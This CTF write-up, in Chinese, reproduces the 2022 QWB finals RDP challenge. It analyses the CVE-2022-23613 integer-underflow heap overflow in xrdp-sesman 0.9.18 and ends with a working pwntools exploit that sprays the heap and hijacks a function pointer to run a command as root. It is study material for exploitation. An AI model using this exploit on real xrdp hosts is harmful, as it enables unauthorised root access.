CTF特训日记day(4-6)
来复现一下2022QWB决赛的RDP题目
这两天腰疼去了趟医院
题目要求我们攻击XRDP程序,从而达到本地提权的效果。
首先观察XRDP程序的版本信息
root@RDP:/home/rdp/Desktop# xrdp-sesman -version
xrdp-sesman 0.9.18The xrdp session managerCopyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.See https://github.com/neutrinolabs/xrdp for more information.Configure options:
然后在CVE里搜一下发现有个漏洞版本刚好合适,并且满足题目的提权要求

从CVE介绍中获得漏洞补丁URL
MISC:https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa
可以看到修改的代码行数很少,可以比较容易的分析出漏洞成因

根据patch信息以及漏洞描述可以判断出漏洞成因是size导致的整型溢出。这里的size会直接赋值给self->header_size。
进入题目虚拟机之后会在RW文件夹下找到一个diff文件

看上去应该是作者为了方便我们使用漏洞实现提权操作而进行的一个diff
查看一下服务开放的服务

经分析,做题思路暂时可以确定为通过CVE-2022-23613漏洞配合题目所给出的diff攻击题目开放在3350的xrdp-sesman服务进行本地提权。
接下来在源码中对程序漏洞进行一下简单的分析,在sesman.c中会有一个主循环sesman_main_loop,主循环会创建一个g_list_trans

其接收连接的函数主要实现在sesman_listen_conn_in中

最后走到patch中的sesman_data_in

有一个宏in_uint32_be,在parse.h中有具体展开,就不放了,其实就是从arg1中拿一个int出来给arg2,并让arg1作为int指针加一,这里可以理解成self->in_s指向了程序接收到的用户输入,其中第一个dword作为版本信息给version变量,第二个dword作为headersize给size变量。
在这里由于size是可以自己指定的,所以相当于self->header_size变成了一个用户可控的int类型数据。
在函数trans_check_wait_objs中有此变量的后续应用
if (self->type1 == TRANS_TYPE_LISTENER)/* listening */
{
g_sck_can_recv
g_sck_accept
...
}
else /* connected server or client (2 or 3) */
{if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES){}else if (self->trans_can_recv(self, self->sck, 0)){cur_source = XRDP_SOURCE_NONE;if (self->si != 0){cur_source = self->si->cur_source;self->si->cur_source = self->my_source;}read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;if (to_read > 0){read_bytes = self->trans_recv(self, self->in_s->end, to_read);......}read_so_far = (int) (self->in_s->end - self->in_s->data);if (read_so_far == self->header_size){if (self->trans_data_in != 0){rv = self->trans_data_in(self);if (self->no_stream_init_on_data_in == 0){init_stream(self->in_s, 0);}}}
}
程序在此函数中进行了监听和接收数据的处理流程,其中比较值得注意的就是这行代码
to_read = self->header_size - read_so_far;
这里的to_read也为int,并且如果to_read大于零会执行self->trans_recv(self, self->in_s->end, to_read);
这个函数注册与create阶段

即实际执行的是trans_tcp_recv,追溯到最后就是原生的recv函数,而其缓冲区则是self->in_s,通过init_stream函数分配空间

分配到的是堆上的空间,而in_size则是在sesman.c中写死的8192

分析到这里整体漏洞成因已经彻底清楚了,如果我们能控制一个不受任何限制的header_size,将其控制为0x80000000,即一个最小负数,从而绕过header_size不能大于总的输入长度的限制,然后read_so_far作为一个随意的小数,相减以后发生负溢出,header_size将变成一个非常巨大的远超8192的正数,从而导致堆溢出发生。
漏洞分析就到这里,接下来写一个poc调试一下看看是否会触发。
首先看一下xrdp-sesman的pid,然后attach上去,写出poc脚本进行测试,attach的时候断点可以下在trans_check_wait_objs处
测试脚本非常简单
from pwn import *
payload=b'v'*4
payload+=p32(0x80000000)
io=remote("127.0.0.1",3350)
io.send(payload)
io.send('a'*0x1000)
、
成功断在了函数处

但是随着调试发现事情不对劲
这里明明应该是0x80000000和0x9,但是变成了0x80和0x9,导致预期的整数负溢出没有发生

这也就导致到了调用tcp_recv的时候rdx并不是一个非常大的数

猜测由于网络传输是大端序,所以不能直接p32,于是修改脚本:

这一次成功将rdx修改为一个超大正整数,发生堆溢出

有了堆溢出以后,可以试着寻找分配在堆上且有函数指针的结构体,之前分析源码的时候有遇到过一个create函数

这里不仅输入输出缓冲区是用init_stream分配出来的堆空间,其本身也是g_malloc分配出来的堆空间,上面填充了recv,send等函数,如果能够通过堆溢出将recv函数为程序本身就有的g_execlp3,则相当于可以调用system函数,那么能否控制rdi呢?来看看recv函数具体调用的时候寄存器的状态

在调用的时候tcp_recv函数位置由rbx进行定位,而rbx和rdi所指向的都当前trans结构体,也就是说只要我们保证结构体中recv函数指针覆盖为exec的同时覆盖结构体的开头为我们想要执行的命令,则可以在下一次使用此trans接收数据的时候执行任意命令。
还剩一个问题,就是堆空间非常复杂,我们能否精准的覆盖到指定的结构体上完成了漏洞利用,这个问题一定程度上来说出题人已经帮我们解决了一大半了,还记得当初的diff吗。将原本为16的MAX_SHORT_LIVED_CONNECTIONS改成了512,这意味着我们可以通过不停创建trans进行堆喷。
通过堆溢出修改堆上的函数指针,并且rdi指向的是结构体头部,所以rdi也可以直接控下,由于我们的任务只是提权,所以可以提前在系统中写入要执行文件,这样在进行漏洞利用的时候只需要执行一条命令即可。
在实际调试的过程中遇到好几处地方需要保证只是是一个可写地址,具体有哪些地址需要额外关照,有两种方式,第一种是通过对程序进行逆向,分析其机构体中有哪些字段需要为可写地址,第二种方式是直接调试,第一次覆盖的时候除了函数指针以外其余所有地方直接用0填充,然后下断点进行调试,就可以看到有些取值指令是执行失败的,遇到取值指令失败的地方就填一个可写地址上去,慢慢调就可以了。
from pwn import *
elf=ELF('./xrdp-sesman')
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
with open("/tmp/do", "w") as f:f.write("#!/bin/bash\necho \"Ayaka\" > /flag")
os.system("chmod a+x /tmp/do")
conn_list=[]
def heap_spray():for i in range(100):io=remote("127.0.0.1",3350)conn_list.append(io)
heap_spray()
bss=0x40a000
input()
system_plt=elf.plt['g_execlp3']
payload=b'v'*4
payload+=p32(0x80000000)[::-1]
io1=conn_list[97]
io1.send(payload)
payload=p64(bss)*(0x4160//8)+p64(0x2b0)+b'/tmp/do\x00'
payload+=p32(1)*2+p64(2)+p64(0)*3+p64(0x400318)+p64(bss)*2+p64(0)*71+p64(0x0000000000403BF0)+p64(0x0000000000403C40)*2
io1.send(payload)conn_list[98].send("a"*8)
相关文章:
CTF特训日记day(4-6)
来复现一下2022QWB决赛的RDP题目 这两天腰疼去了趟医院 题目要求我们攻击XRDP程序,从而达到本地提权的效果。 首先观察XRDP程序的版本信息 rootRDP:/home/rdp/Desktop# xrdp-sesman -version xrdp-sesman 0.9.18The xrdp session managerCopyright (C) 2004-2020…...
【深度学习笔记】09 权重衰减
09 权重衰减 范数和权重衰减利用高维线性回归实现权重衰减初始化模型参数定义 L 2 L_2 L2范数惩罚定义训练代码实现忽略正则化直接训练使用权重衰减 权重衰减的简洁实现 范数和权重衰减 在训练参数化机器学习模型时,权重衰减(decay weight)…...
三大兼容 | 人大金仓兼容+优化MySQL用户变量特性
目前,KingbaseES对MySQL的兼容性,已从功能兼容阶段过渡到强性能兼容、生态全面兼容阶段,针对客户常常遇到的用户变量问题,KingbaseES在兼容MySQL用户变量功能的基础上,优化了MySQL用户变量的一些原生问题,使…...
Git介绍与安装使用
目录 1.Git初识 1.1提出问题 1.2如何解决--版本控制器 1.3注意事项 2.Git安装 2.1Linux-centos安装 2.2Linux-ubuntu安装 2.3Windows安装 3.Git基本操作 3.1创建Git本地仓库 3.2配置Git 4.认识⼯作区、暂存区、版本库 1.Git初识 1.1提出问题 不知道你工作或学习时…...
理解DuLinkList L中的“”引用符号
在C中,DuLinkList &L 这种形式的参数表示 L 是一个 DuLinkList 类型的引用。这里的 & 符号表示引用。 引用是C的一个特性,它提供了一种方式来访问已存在的变量的别名。当你对引用进行操作时,实际上是在操作它所引用的变量。如果你在…...
前端并发多个请求并失败重发
const MAX_RETRIES 3;// 模拟请求 function makeRequest(url) {return new Promise((resolve, reject) > {setTimeout(() > {Math.random() < 0.75 ? resolve(${url} 成功) : reject(${url} 失败); // 随机决定请求是否成功}, Math.random() * 2000); // 随机延时执…...
【Qt开发流程】之对象模型2:属性系统
描述 Qt提供了一个复杂的属性系统,类似于一些编译器供应商提供的属性系统。然而,作为一个独立于编译器和平台的库,Qt不依赖于非标准的编译器特性,如__property或[property]。 Qt解决方案适用于Qt支持的所有平台上的任何标准c编译…...
PHP之curl详细讲解
cURL(全称为Client for URLs)是一个功能强大的开源库,用于在多种协议上进行数据传输、发送HTTP请求和获取响应。它支持多种协议,包括HTTP、HTTPS、FTP、SMTP等,并且能够与各种服务器进行通信。 cURL库可以通过命令行工…...
R语言30分钟上手
文章目录 1. 环境&安装1.1. rstudio保存工作空间 2. 创建数据集2.1. 数据集概念2.2. 向量、矩阵2.3. 数据框2.3.1. 创建数据框2.3.2. 创建新变量2.3.3. 变量的重编码2.3.4. 列重命名2.3.5. 缺失值2.3.6. 日期值2.3.7. 数据框排序2.3.8. 数据框合并(合并沪深300和中证500收盘…...
上下拉电阻会增强驱动能力吗?
最近看到一个关于上下拉电阻的问题,发现不少人认为上下拉电阻能够增强驱动能力。随后跟几个朋友讨论了一下,大家一致认为不存在上下拉电阻增强驱动能力这回事,因为除了OC输出这类特殊结构外,上下拉电阻就是负载,只会减…...
题目:小明的彩灯(蓝桥OJ 1276)
题目描述: 解题思路: 一段连续区间加减,采用差分。最终每个元素结果与0比较大小,比0小即负数输出0。 题解: #include<bits/stdc.h> using namespace std;using ll long long; const int N 1e5 10; ll a[N],…...
换元法求不定积分
1.一般步骤:选取换元对象(不一定是式子中的值,也可以是式子中的最小公倍数或者最大公因数),然后将dx换为dt*t的导数,再用t将原式表示,化简计算即可 2. 3. 4. 5. 6....
在Docker容器中启用SSH服务,实现外部访问的详细教程
目录 步骤 1: 安装 SSH 服务器 步骤 2: 配置 SSH 服务器 步骤 3: 设置 SSH 用户 步骤 4: 重启 SSH 服务器 步骤 5: 映射容器端口 步骤 6: 使用 SSH 连接到容器 要在Docker容器中启用SSH服务,以便从外部访问,您需要执行以下步骤: 步骤 …...
Go 模块系统最小版本选择法 MVS 详解
目录 Golang 模块系统简介 包版本管理 最小版本选择(MVS)原理 MVS 的优点 MVS的缺点 实际使用MVS 小结 参考资料 Golang 模块系统简介 Golang 模块系统是 Go 1.11 版本引入的一个新特性,主要目的是解决 Go 项目中的依赖管理问题。在模…...
ifstream读取txt中的中文数据转成QString出现乱码
使用ifstream从txt文本中读取中文数据到string,再将string转成QString输出时出现了乱码。 分析:如果ifstream能成功从txt文本中读出中文数据,那大概率txt用的编码是ANSI编码(GBK就是ANSI的一种),那么在转成…...
UE4 双屏分辨率设置
背景: 做了一个UI 应用,需要在双屏上进行显示。 分辨率如下:3840*1080; 各种折腾,其实很简单: 主要是在全屏模式的时候 一开始没有选对,双屏总是不稳定。 全屏模式改成:Windows 之…...
$sformat在仿真中打印文本名的使用
在仿真中,定义队列,使用任务进行函数传递,并传递文件名,传递队列,进行打印 $sformat(filename, “./data_log/%0d_%0d_%0d_0.txt”, f_num, lane_num,dt); 使用此函数可以自定义字符串,在仿真的时候进行文件…...
【Rust】结构体与枚举
文章目录 结构体struct基础用法使用字段初始化简写语法使用没有命名字段的元组结构体来创建不同的类型没有任何字段的类单元结构体方法语法关联函数多个 impl 块 枚举枚举值Option 结构体struct 基础用法 一个存储用户账号信息的结构体: struct User {active: bo…...
CentOS7 防火墙常用命令
以下是在 CentOS 7 上使用 firewall-cmd 命令管理防火墙时的一些常用命令: 检查防火墙状态: sudo firewall-cmd --state 启动防火墙: sudo systemctl start firewalld 停止防火墙: sudo systemctl stop firewalld 重启防火墙&…...
【无标题】什么是UL9540测试,UL9540:2023版本增加哪些测试项目
什么是UL9540测试,UL9540:2023版本增加哪些测试项目 UL 9540是美国安全实验室(Underwriters Laboratories)发布的标准,名称为"UL 9540: Energy Storage Systems and Equipment",翻译为中文为"能量存储…...
后进先出(LIFO)详解
LIFO 是 Last In, First Out 的缩写,中文译为后进先出。这是一种数据结构的工作原则,类似于一摞盘子或一叠书本: 最后放进去的元素最先出来 -想象往筒状容器里放盘子: (1)你放进的最后一个盘子(…...
云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地
借阿里云中企出海大会的东风,以**「云启出海,智联未来|打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办,现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...
理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...
C++ 基础特性深度解析
目录 引言 一、命名空间(namespace) C 中的命名空间 与 C 语言的对比 二、缺省参数 C 中的缺省参数 与 C 语言的对比 三、引用(reference) C 中的引用 与 C 语言的对比 四、inline(内联函数…...
JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性: 隐藏字段的实现细节 提供对字段的受控访问 访问控制: 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性: 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑: 可以…...
MySQL 8.0 事务全面讲解
以下是一个结合两次回答的 MySQL 8.0 事务全面讲解,涵盖了事务的核心概念、操作示例、失败回滚、隔离级别、事务性 DDL 和 XA 事务等内容,并修正了查看隔离级别的命令。 MySQL 8.0 事务全面讲解 一、事务的核心概念(ACID) 事务是…...
PHP 8.5 即将发布:管道操作符、强力调试
前不久,PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5!作为 PHP 语言的又一次重要迭代,PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是,借助强大的本地开发环境 ServBay&am…...
通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器
拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件: 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...
